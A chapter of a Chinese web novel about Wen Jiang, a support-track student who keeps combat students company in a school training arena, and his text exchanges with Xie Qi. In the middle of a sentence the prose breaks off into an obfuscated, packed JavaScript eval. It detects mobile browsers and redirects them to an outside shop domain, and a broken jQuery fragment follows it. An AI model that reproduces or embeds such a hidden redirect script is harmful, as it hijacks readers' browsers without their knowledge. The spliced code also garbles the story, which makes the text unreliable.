5. 小恐龙摸头
    A级训练场其实不会总这般吵闹。

    至少在闻绛的记忆里,它有半数时候相当安静,不输期末文化课统考的考试现场。开学的第一个月,他来上课只会在训练室外面的等候区观看,隔着玻璃幕墙,室内模拟出不同的环境场地,里面的学生随之做出各类反应,于闻绛就像观看舞台上的一出出即兴默剧。

    一个月后,他的指导老师给他布置了进阶版的肢体观察作业,戏剧社最新定好的剧本里也出现了三场打戏,为了精进演技,闻绛递交了安全承诺书,跟着战斗系的学生进了训练室,虚假的毒辣日光下,旁人挥汗如雨,他树下纳凉,一般也不觉得吵。

    闻绛觉得在里面待着比外面有意思些,他独自一人的时候会在树荫下看书或做课业,和别人待在一起时有概率开小差打牌。

    而当上课内容轮到全员乱序对抗,或者红黑团体赛的时候,战斗系的学生们全部聚在一起,情绪很容易节节高涨,即热血上头,最终便如眼下这般,形成类似参加运动会或擂台赛的热烈氛围,还会就下一把的输赢开设赌局。

    正式进入训练室内,里面就像一个角斗场,正中央的场地留给要上场的双方,周围环绕一圈三层高台,上面坐着不少围观交谈的学生,高明诚粗略扫过去,首先看到的是自家的会长。

    对方也注意到了自己这边,视线先越过他看向了旁边的闻绛,看了会儿才像想起了什么似的,慢悠悠地移到自己身上。右耳的耳钉随着对方偏头的动作从发丝间露出来,在光照下闪闪发亮。

    高明诚很不擅长应对对方,肠胃瞬间仿佛被无形的手攥住,闻绛察觉高明诚的身体又变得僵硬,余光里瞥见什么亮晶晶的东西晃了下眼,他抬头望去,和学生会会长直直对上视线,对方就愣了下,然后弯弯眼眉,远远地冲闻绛笑起来。

    哦,原来是自己的牌友1号。

    闻绛没什么反应,他想起1号的头像看着也挺红的,但1号是S级,对钱朗的异能抗性很高,按理来讲不需要太过关注。

    对方不做出明显怪异的举动,自己也没必要就不确定的可能性,明里暗里地抢先试探,闻绛决定采取敌不动我不动的方针。

    而像高明诚这种,左右不过陪对方上一节课,别说把钱朗摘出去找个新理由解释,即便当成就是自己本人发的,其实也无所谓。

    何况受钱朗异能的影响,想给现在的高明诚解释清楚可不容易,等对方相信自己没给他发过消息,没准训练课早结束了。

    闻绛默认了自己临时大哥的身份,尽职尽责地把人送到了负责数统的老师跟前,还旁听了会儿两人谈话。这边的人都在忙碌,桌子上各种东西摆得满满当当,但老师非常热情,见闻绛来了,很快就在高明诚的“工位”旁边又加了张椅子。

    于是闻绛椅子反坐,胳膊搁在椅背上,听高明诚在旁边对着电脑敲敲打打。

    他自我感觉自己像个监工的。

    他在训练场里总是这般闲散,但也并非没有玩伴。闻绛开学时被强制加了一圈好友,这个训练场里的S级和具有后天进阶潜质的A级,俗称超A,都在他的好友列表里,有的人加完好友从未说过一句话,有的起码跟他一起打过牌。

    作为生活系的闻绛不参加训练课程,那些战斗系的S级其实也不好好上课,只不过最初,闻绛坐在训练室这头歇着,他们在那头歇着,两边互不打扰。

    后来某天,谢启突然从另一边过来找他说话,对方没什么正经事找他,似乎只是想换个地方午休,递给了他一瓶水后就顺势往旁边一躺,理所当然地分占了他的乘凉空间。

    彼时闻绛和谢启已经是互相认识的关系,他没有管对方,继续忙自己的事,偶尔也会和谢启聊上几句,临了下课他见对方要离开,就和对方挥了挥手告别,谢启当时顿了一下,表面没说什么,下一次人一来直接就坐到了他旁边。

    钱朗后来知道他们训练场里会待在一起,曾很惊讶地询问怎么做到的,闻绛答曰:我不知道,你问谢启。

    钱朗遂改发消息问谢启,他不是第一个问的,这段时间很多人都问过,已经把谢启给问烦,看见后直接捂嘴回复:少管闲事。

    谢启皱着眉发完消息,后知后觉自己是有点毛病,温天路那边的确又烦又吵,但闻绛这边这堂课……好像就跟他说了五句话。

    其中还有两句是问他战斗系异能基础课上的知识点,俨然把他当查资料的便利搜索框。

    可是闻绛要认真做作业的时候,会从一开始就告诉他自己要集中注意力,之后可能会漏掉他说的话,在这之后如果谢启还就对方“爱答不理”的态度发火,闻绛是不会理他的。

    ......所以那又如何?他为什么非要待在这儿?谢启的脾气没头没尾地泛上来,他忽然感到厌倦,从草坪上半坐起身。

    训练室模拟了夏季的操场,以规定频率吹送来凉风,二人头顶的树伴着风声发出窸窸窣窣的动静,光芒穿过层叠交错的枝叶落在闻绛身上,给对方的指尖和耳垂染上种近乎剔透的温润白色。

    闻绛写完了最后一行字,合上笔记本转头看向谢启,安静了半堂课的谢启移开视线,躺回去抱怨:“每天就这么闲看着,你不无聊啊?”

    好学生闻绛实话实说:“无聊。”

    他把纸笔收起来,因为提前做完了作业内心颇为神清气爽,从包里拿出来一副卡牌问:“要玩吗?”

    下棋也行,他包里还有一叠简易棋盘纸。

    谢启:......

    闻绛仔细观察过,老师对他们S级生采取全然放任态度,谢启原来待着的“那头”,有时还会混进去好几个外校人一同说笑,估计是用了“S级陪同”的特权,相比之下,自己这边玩点益智小游戏的行为根本算不上扰乱课堂秩序。

    而在两人继续雷打不动地玩了一段时间后,“那头”就开始有新的人过来凑热闹,闻绛因此有了新的牌

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022772|148736||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    友。

    他们凑过来时,看见谢启和闻绛在一本正经玩“赶毛驴”,“抽王八”,嘴里很想说点什么,但谢启的眼神冷冷扫过来,看着太过吓人,这话就又憋了回去。

    现在没人与闻绛玩耍,闻绛坐了一小会儿,干脆尽显学霸风采,又把笔和空白的作业本拿了出来,意图在上面写画。他的手机适时嗡嗡震了两声,闻绛低头去看,一条消息来自钱朗的每日热心问候,另一条来自谢启。

    谢启:你去哪了?

    下一条内容紧跟着发过来:我没看见你

    闻绛给他发了个小恐龙疑惑的表情,几秒后谢启回复:我在校门口

    谢启:我送你

    ......好细致的照顾。

    之前在机场,谢启也想要送他回家,可谓全方面响应落实和钱朗的约定。这按理来说应该是一时兴起,等新鲜劲过了就会结束“带孩子游戏”,但闻绛看这架势,总有种对方能坚持很久的预感。

    闻绛:A级场

    谢启:?

    谢启:你跑那干嘛

    闻绛的屏幕一黑,谢启直接给他打了电话过来,与此同时,周围看台爆发出一阵兴奋的欢呼,经过端脑的随机排序,最终确定好的对抗赛名单浮现在中央电子屏幕上,闻绛在上面看到谢启的名字。

    人群闹哄哄的交谈盖过了手机里的声音,闻绛挂断了电话,打字简练回谢启:陪同学。

    他的回答理应完美无缺,结果谢启看见就炸了毛。谢启给闻绛发了个“你”,又憋不出什么重话,砰一声甩上车门,边往回走边和闻绛掰扯:哪来的同学

    谢启:还要你陪?

    这话说的……他又不是什么万金尊贵之躯,怎么陪个同学上课还成了折辱似的,反正没事做,闻绛闲聊问道:很奇怪吗?

    对面不吭声了,闻绛已经有一段时间不上异能训练课,谢启遇不见人,几次后问闻绛怎么没来上课,得到了闻绛的一个“忙”。

    闻绛一直不来,谢启便也不来了,他本以为闻绛这个点要放学回家,自己刚好接上他走,结果闻绛一声不吭,直接陪着别人去了训练场。

    真是人比人,气死人。

    闻绛不知道谢启内心的纠结,短短一会儿,对方又想发火问出同学姓甚名谁,又不想给闻绛留下无理取闹的印象,最后闻绛看向手机,发现谢启给他回了条:你没陪过我。

    一瞬间还以为发来消息的人是钱朗。

    自己有什么事要忙时,钱朗偶尔也会这样佯装抱怨,待到戏瘾大发,还会抹着不存在的眼泪和他的同桌林雯之一唱一和,说“小绛长大了,被外面的花花绿绿迷了眼,以后看不上我们这些跟前人了”云云。

    好怀念啊,闻绛有点感慨,谢启近日真的很像得了钱朗真传,不过没有关系,他对怎么回复很有经验。

    闻绛:嗯

    闻绛:小恐龙摸头.jpg

    然后他就不再管了。